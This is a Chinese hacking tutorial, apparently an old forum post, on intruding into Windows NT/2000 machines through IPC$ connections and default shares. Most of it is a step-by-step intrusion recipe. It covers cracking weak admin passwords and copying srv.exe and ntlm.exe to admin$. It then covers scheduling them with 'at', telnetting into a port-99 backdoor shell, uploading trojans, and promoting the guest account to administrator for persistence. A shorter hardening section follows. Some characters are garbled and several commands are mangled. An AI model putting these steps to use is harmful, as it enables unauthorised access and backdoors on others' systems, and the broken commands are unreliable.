| 什么是ipc$ IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進(jìn)程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應(yīng)的權(quán)限,在遠(yuǎn)程管理計算機(jī)和查看計算機(jī)的共享資源時使用。 利用IPC$,連接者甚至可以與目標(biāo)主機(jī)建立一個空的連接而無需用戶名與密碼(當(dāng)然,對方機(jī)器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標(biāo)主機(jī)上的用戶列表(不過負(fù)責(zé)的管理員會禁止導(dǎo)出用戶列表的)。 我們總在說ipc$漏洞ipc$漏洞,其實,ipc$并不是真正意義上的漏洞,它是為了方便管理員的遠(yuǎn)程管理而開放的遠(yuǎn)程網(wǎng)絡(luò)登陸功能,而且還打開了默認(rèn)共享,即所有的邏輯盤(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$)。 所有的這些,初衷都是為了方便管理員的管理,但好的初衷并不一定有好的收效,一些別有用心者(到底是什么用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導(dǎo)出用戶列表,并使用一些字典工具,進(jìn)行密碼探測,寄希望于獲得更高的權(quán)限,從而達(dá)到不可告人的目的. 解惑: 1)IPC連接是Windows NT及以上系統(tǒng)中特有的遠(yuǎn)程網(wǎng)絡(luò)登陸功能,其功能相當(dāng)于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函數(shù),所以不能在Windows 9.x中運行。 也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現(xiàn)在都2003年了,建議98的同志換一下系統(tǒng)吧,98不爽的) 2)即使是空連接也不是100%都能建立成功,如果對方關(guān)閉了ipc$共享,你仍然無法建立連接 3)并不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導(dǎo)出用戶列表 三 建立ipc$連接在hack攻擊中的作用 就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有 一定權(quán)限的用戶身份登陸的話,那么你就會得到相應(yīng)的權(quán)限,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!! (基本上可以總結(jié)為獲取目標(biāo)信息、管理目標(biāo)進(jìn)程和服務(wù),上傳木馬并運行,如果是2000server,還可以考慮開啟終端服務(wù)方便控制.怎么樣?夠厲害吧!) 不過你也不要高興的太早,因為管理員的密碼不是那么好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數(shù),而且現(xiàn)在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的?? 因此今后你最大的可能就是以極小的權(quán)限甚至是沒有權(quán)限進(jìn)行連接,你會慢慢的發(fā)現(xiàn)ipc$連接并不是萬能的,甚至在主機(jī)不開啟ipc$共享時,你根本就無法連接. 所以我認(rèn)為,你不要把ipc$入侵當(dāng)作終極武器,不要認(rèn)為它戰(zhàn)無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在 四 ipc$與空連接,139,445端口,默認(rèn)共享的關(guān)系 以上四者的關(guān)系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進(jìn)行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結(jié)出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂) 1)ipc$與空連接: 不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進(jìn)行ipc$連接),自然就不能叫做空連接了. 許多人可能要問了,既然可以空連接,那我以后就空連接好了,為什么還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當(dāng)你以空連接登陸時,你沒有任何權(quán)限(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應(yīng)的權(quán)限(有權(quán)限誰不想呀,所以還是老老實實掃吧,不要偷懶喲). 2)ipc$與139,445端口: ipc$連接可以實現(xiàn)遠(yuǎn)程登陸及對默認(rèn)共享的訪問;而139端口的開啟表示netbios協(xié)議的應(yīng)用,我們可以通過139,445(win2000)端口實現(xiàn)對共享文件/打印機(jī)的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的. 3)ipc$與默認(rèn)共享 默認(rèn)共享是為了方便管理員遠(yuǎn)程管理而默認(rèn)開啟的共享(你當(dāng)然可以關(guān)閉它),即所有的邏輯盤(c$,d$,e$……)和系統(tǒng)目錄winnt或windows(admin$),我們通過ipc$連接可以實現(xiàn)對這些默認(rèn)共享的訪問(前提是對方?jīng)]有關(guān)閉這些默認(rèn)共享) 五 ipc$連接失艿腦 ? 以下5個原因是比較常見的: 1)你的系統(tǒng)不是NT或以上****作系統(tǒng); 2)對方?jīng)]有打開ipc$默認(rèn)共享 3)對方未開啟139或445端口(惑被防火墻屏蔽) 4)你的命令輸入有誤(比如缺少了空格等) 5)用戶名或密碼錯誤(空連接當(dāng)然無所謂了) 另外,你也可以根據(jù)返回的錯誤號分析原因:?? 錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權(quán)限的,先提升權(quán)限;?? 錯誤號51,Windows 無法找到網(wǎng)絡(luò)路徑 : 網(wǎng)絡(luò)有問題;?? 錯誤號53,找不到網(wǎng)絡(luò)路徑 : ip地址錯誤;目標(biāo)未開機(jī);目標(biāo)lanmanserver服務(wù)未啟動;目標(biāo)有防火墻(端口過濾);?? 錯誤號67,找不到網(wǎng)絡(luò)名 : 你的lanmanworkstation服務(wù)未啟動;目標(biāo)刪除了ipc$;?? 錯誤號1219,提供的憑據(jù)與已存在的憑據(jù)集沖突 : 你已經(jīng)和對方建立了一個ipc$,請刪除再連。?? 錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;?? 錯誤號1792,試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動 : 目標(biāo)NetLogon服務(wù)未啟動。(連接域控會出現(xiàn)此情況)?? 錯誤號2242,此用戶的密碼已經(jīng)過期 : 目標(biāo)有帳號策略,強(qiáng)制定期要求更改密碼。?? 關(guān)于ipc$連不上的問題比較復(fù)雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細(xì)而確定的說明,就*大家自己體會和試驗了. 六?? 如何打開目標(biāo)的IPC$ 首先你需要獲得一個不依賴于ipc$的shell,比如sql的cmd擴(kuò)展、telnet、木馬,當(dāng)然,這shell必須是admin權(quán)限的,然后你可以使用shell執(zhí)行命令 net share ipc$ 來開放目標(biāo)的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認(rèn)相關(guān)服務(wù)都已運行,沒有就啟動它(不知道怎么做的請看net命令的用法),還是不行的話(比如有防火墻,殺不了)建議放棄。 七?? 如何防范ipc$入侵 1禁止空連接進(jìn)行枚舉(此****作并不能阻止空連接的建立,引自《解剖win2000下的空會話》) 首先運行regedit,找到如下組建[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設(shè)置為2的話,有一些問題會發(fā)生,比如一些WIN的服務(wù)出現(xiàn)問題等等) 2禁止默認(rèn)共享 1)察看本地共享資源 運行-cmd-輸入net share 2)刪除共享(每次輸入一個) net share ipc$ /delete net share admin$ /delete net share c$ /delete net share d$ /delete(如果有e,f,……可以繼續(xù)刪除) 3)停止server服務(wù) net stop server /y (重新啟動后server服務(wù)會重新開啟) 4)修改注冊表 運行-regedit server版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。?? pro版:找到如下主鍵[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。?? 如果上面所說的主鍵不存在,就新建(右擊-新建-雙字節(jié)值)一個主健再改鍵值。?? 3永久關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù):lanmanserver即server服務(wù) 控制面板-管理工具-服務(wù)-找到server服務(wù)(右擊)-屬性-常規(guī)-啟動類型-已禁用 4安裝防火墻(選中相關(guān)設(shè)置),或者端口過濾(濾掉139,445等),或者用新版本的優(yōu)化大師 5設(shè)置復(fù)雜密碼,防止通過ipc$窮舉密碼 八 相關(guān)命令 1)建立空連接: net use $">//IP/ipc$ "" /user:""???????? (一定要注意:這一行命令中包含了3個空格)?? 2)建立非空連接: net use $">//IP/ipc$ "用戶名" /user:"密碼"????? (同樣有3個空格) 3)映射默認(rèn)共享: net use z: $">//IP/c$ "密碼" /user:"用戶名"??????? (即可將對方的c盤映射為自己的z盤,其他盤類推) 如果已經(jīng)和目標(biāo)建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: $">//IP/c$ 4)刪除一個ipc$連接 net&nbs p;use $">//IP/ipc$ /del?? 5)刪除共享映射 net use c: /del 刪除映射的c盤,其他盤類推?? net use * /del 刪除全部,會有提示要求按y確認(rèn) 九 經(jīng)典入侵模式 這個入侵模式太經(jīng)典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創(chuàng)作者!(不知道是哪位前輩)?? 11. C:/>net use $">//127.0.0.1/IPC$ "密碼" /user:"用戶名"?? 一般用流光,通過掃描弱口令來得到,管理員帳號和密碼. 2. C:/>copy srv.exe $">//127.0.0.1/admin$?? 先復(fù)制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:/winnt/system32/,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復(fù)制到什么地方去了)。 3. C:/>net time //127.0.0.1?? 查查時間,發(fā)現(xiàn)127.0.0.1 的當(dāng)前時間是 2004/6/15 上午 11:00,命令成功完成。 4. C:/>at //127.0.0.1 11:05 srv.exe?? 用at命令啟動srv.exe吧 5. C:/>net time //127.0.0.1 再查查到時間沒有?如果127.0.0.1 的當(dāng)前時間是 2004/6/15 上午 11:05,那就準(zhǔn)備開始下面的命令。 6. C:/>telnet 127.0.0.1 99?? 這里會用到Telnet命令吧,注意端口是99。Telnet默認(rèn)的是23端口,但是我們使用的是SRV在對方計算機(jī)中為我們建立一個99端口的Shell。 雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務(wù)!這就要用到ntlm了 7.C:/>copy ntlm.exe $">//127.0.0.1/admin$ 用Copy命令把ntlm.exe上傳到主機(jī)上(ntlm.exe也是在《流光》的Tools目錄中)。 8. C:/WINNT/system32>ntlm?? 輸入ntlm啟動(這里的C:/WINNT/system32>指的是對方計算機(jī),運行ntlm其實是讓這個程序在對方計算機(jī)上運行)。當(dāng)出現(xiàn)"DONE"的時候,就說明已經(jīng)啟動正常。然后使用"net start telnet"來開啟Telnet服務(wù)!?? 9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進(jìn)入對方了,****作就像在DOS上****作一樣簡單!(然后你想做什么?想做什么就做什么吧,哈哈) 為了以防萬一,我們再把guest激活加到管理組????? 10. C:/>net user guest /active:yes?? 將對方的Guest用戶激活 11. C:/>net user guest 1234?? 將Guest的密碼改為1234,或者你要設(shè)定的密碼 12. C:/>net localgroup administrators guest /add?? 將Guest變?yōu)锳dministrator(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這臺計算機(jī)) ipc$常見問題: 1,怎樣建立空連接,它有什么用??? 答:使用命令 net use /IPipc$ "" /user:"" 就可以簡單地和目標(biāo)建立一個空連接(需要目標(biāo)開放ipc$)。?? 對于NT,在默認(rèn)安全設(shè)置下,借助空連接可以列舉目標(biāo)用戶、共享,訪問everyone權(quán)限的共享,訪問小部分注冊表等,沒有什么利用價值。對2000作用就更小了。而且實現(xiàn)也不方便,需借助工具。 2.為什么我連不上IPC$??? 答:1.只有nt/2000/xp及以上系統(tǒng)才可以建立ipc$。如果你用的是98/me是沒有該功能的。?? 2.確認(rèn)你的命令沒有打錯。正確的命令是: net use /目標(biāo)IPipc$ "密碼" /user:"用戶名"?? 注意別多了或少了空格。當(dāng)用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。?? 3,根據(jù)返回的錯誤號分析原因:?? 錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員權(quán)限的,先提升權(quán)限;?? 錯誤號51,Windows 無法找到網(wǎng)絡(luò)路徑 : 網(wǎng)絡(luò)有問題;?? 錯誤號53,找不到網(wǎng)絡(luò)路徑 : ip地址錯誤;目標(biāo)未開機(jī);目標(biāo)lanmanserver服務(wù)未啟動;目標(biāo)有防火墻(端口過濾);?? 錯誤號67,找不到網(wǎng)絡(luò)名 : 你的lanmanworkstation服務(wù)未啟動;目標(biāo)刪除了ipc$;?? 錯誤號1219,提供的憑據(jù)與已存在的憑據(jù)集沖突 : 你已經(jīng)和對方建立了一個ipc$,請刪除再連。?? 錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;?? 錯誤號1792,試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動 : 目標(biāo)NetLogon服務(wù)未啟動。(連接域控會出現(xiàn)此情況)?? 錯誤號2242,此用戶的密碼已經(jīng)過期 : 目標(biāo)有帳號策略,強(qiáng)制定期要求更改密碼。?? 4,關(guān)于ipc$連不上的問題比較復(fù)雜,沒有總結(jié)出一個統(tǒng)一的認(rèn)識,在肉雞上實驗有時會得出矛盾的結(jié)論,十分棘手。 而且知道了問題所在,如果沒有用其他辦法獲得shell,很多問題依然不能解決。 5,怎樣打開目標(biāo)的IPC$??? 答:首先你需要獲得一個不依賴于ipc$的shell,比如sql的cmd擴(kuò)展、telnet、木馬。當(dāng)然,這shell必須是admin權(quán)限的。然后你可以使用shell執(zhí)行命令 net share ipc$ 來開放目標(biāo)的ipc$。從上一問題可以知道,ipc$能否使用還有很多條件。請確認(rèn)相關(guān)服務(wù)都已運行,沒有就啟動它(不知道怎么做的請看net命令的用法)。還是不行的話(比如有防火墻,殺不了)建議放棄。?? 6,怎樣映射和訪問默認(rèn)共享??? 答:使用命令 net use z: /目標(biāo)IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤,其他盤類推。?? 如果已經(jīng)和目標(biāo)建立了ipc$,則可以直接用IP加盤符加$訪問。比如 copy muma.exe /IPd$pathmuma.exe 。或者再映射也可以,只是不用用戶名和密碼了:net use y: /IPd$ 。然后 copy muma.exe y:pathmuma.exe 。當(dāng)路徑中包含空格時,須用""將路徑全引住。?? 7,如何刪除映射和ipc$連接??? 答:用命令 net use /IPipc$ /del 刪除和一個目標(biāo)的ipc$連接。?? 用命令 net use z: / del 刪除映射的z盤,其他盤類推。?? 用命令 net use * /del 刪除全部。會有提示要求按y確認(rèn)。 8,連上ipc$然后我能做什么??? 答:能使用管理員權(quán)限的帳號成功和目標(biāo)連接ipc$,表示你可以和對方系統(tǒng)做深入“交流”了。你可以使用各種命令行方式的工具(比如pstools系列、Win2000SrvReskit、telnethack等)獲得目標(biāo)信息、管理目標(biāo)的進(jìn)程和服務(wù)等。如果目標(biāo)開放了默認(rèn)共享(沒開你就幫他開),你就可以上傳木馬并運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具(木馬)還具有直接控屏的功能。如果是2000server,還可以考慮開啟終端服務(wù)方便控制。這里提到的工具的使用,請看自帶的說明或相關(guān)教程。 9,怎樣防止別人用ips$和默認(rèn)共享入侵我??? 答:A、一種辦法是把ipc$和默認(rèn)共享都刪除了。但重起后還會有。這就需要改注冊表。?? 1,先把已有的刪除?? net share ipc$ /del?? net share admin$ /del?? net share c$ /del?? …………(有幾個刪幾個)?? 2,禁止別人空連接?? 首先運行regedit,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous(DWORD)的鍵值改為:00000002。?? 3,禁止自動打開默認(rèn)共享?? 對于server版,找到如下主鍵[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的鍵值改為:00000000。?? 對于pro版,則是[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的鍵值改為:00000000。?? 如果上面所說的主鍵不存在,就新建一個再改鍵值。?? B、另一種是關(guān)閉ipc$和默認(rèn)共享依賴的服務(wù)(不推薦)?? net stop lanmanserver?? 可能會有提示說,XXX服務(wù)也會關(guān)閉是否繼續(xù)。因為還有些次要的服務(wù)依賴于lanmanserver。一般情況按y繼續(xù)就可以了。?? C、最簡單的辦法是設(shè)置復(fù)雜密碼,防止通過ipc$窮舉密碼。但如果你有其他漏洞,ipc$將為進(jìn)一步入侵提供方便。?? D、還有一個辦法就是裝防火墻,或者端口過濾。
|